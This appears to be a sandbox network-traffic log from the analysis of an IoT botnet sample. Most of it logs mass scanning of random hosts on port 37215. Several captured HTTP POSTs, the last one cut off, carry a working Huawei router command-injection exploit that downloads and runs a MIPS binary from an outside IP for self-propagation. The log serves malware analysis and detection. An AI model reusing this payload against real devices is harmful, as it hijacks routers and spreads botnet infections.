Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.110.62.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.204.250.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.78.44.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.233.132.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.234.246.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.162.158.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.2.102.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.116.187.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.201.248.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.142.32.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.238.57.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.77.204.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.122.56.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.137.224.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.198.242.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.71.139.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.68.103.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.163.33.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.55.128.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.213.192.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.72.129.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.109.31.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.189.167.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.250.122.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.238.32.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.93.141.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.231.209.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.62.145.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.100.134.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.249.149.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.14.94.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.216.249.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.12.120.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.238.36.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.129.184.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.168.210.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.235.78.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.222.174.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.52.73.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.125.42.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.49.73.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.54.191.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.71.110.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.78.172.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.15.169.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.76.253.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.64.106.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.252.39.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.158.26.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.228.107.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.252.191.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.79.160.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.69.182.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.52.46.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:48902 -> 104.248.138.112:59666
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.52.232.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.118.88.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.127.83.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.59.0.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.21.30.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.95.7.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.148.182.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.212.73.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.57.229.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.178.94.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.26.8.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.130.206.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.48.69.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.171.110.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.120.179.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.214.254.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.228.43.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.60.166.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.182.23.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.222.187.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.178.64.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.108.129.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.112.48.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.234.207.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.39.55.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.166.207.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.80.139.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.14.61.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.209.38.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.180.184.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.176.168.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.73.131.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.4.17.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.114.105.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.4.79.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.254.63.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.7.156.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.10.205.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.247.51.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.129.81.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.198.252.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.129.239.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.39.90.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.70.149.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.73.64.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.51.157.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.190.141.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.4.188.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.8.150.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.92.223.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.142.119.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.52.30.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.131.160.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.247.10.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.57.122.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.40.137.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.204.216.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.212.31.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.99.61.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.207.30.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.232.117.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.107.226.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.12.221.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.78.11.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.156.27.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.0.4.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.57.149.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.34.147.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.94.58.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.56.170.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.245.116.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.206.174.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.255.234.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.94.127.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.103.252.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.103.40.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.194.214.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.247.166.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.33.99.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.242.105.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.181.241.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.21.90.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.138.113.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.171.13.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.148.239.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.19.227.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.234.223.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.44.186.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.57.42.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.101.79.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.5.38.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.59.120.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.60.233.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.185.194.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.184.215.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.54.219.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.111.171.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.179.131.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.200.247.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.174.67.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.20.152.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.180.189.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.58.165.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.220.177.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.165.105.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.152.84.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.247.149.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.156.159.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.159.0.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.116.157.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.191.165.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.206.46.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.68.109.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.65.234.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.181.152.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.224.144.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.92.165.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.96.13.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.41.150.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.188.219.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.125.126.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.132.121.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.214.134.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.22.105.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.221.105.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.71.176.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.74.24.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.48.194.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.208.207.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.113.126.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.126.116.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.11.84.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.8.102.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.1.8.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.107.198.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.79.109.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.197.222.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.45.57.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.50.21.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.14.249.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.172.3.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.102.56.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.219.176.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.154.4.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.10.162.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.182.241.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.71.185.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.147.42.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.225.17.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.162.182.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.232.9.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.254.209.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.39.8.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.187.123.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.36.254.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.217.40.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.235.44.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.154.129.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.51.162.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.235.149.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.69.185.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.32.130.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.149.116.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.71.219.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.211.94.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 197.155.115.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.240.112.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.137.128.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.81.98.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.89.246.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.224.218.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.1.246.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.106.31.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.158.71.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.72.87.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.39.221.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.215.246.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 41.242.34.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:29625 -> 156.243.207.223:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima 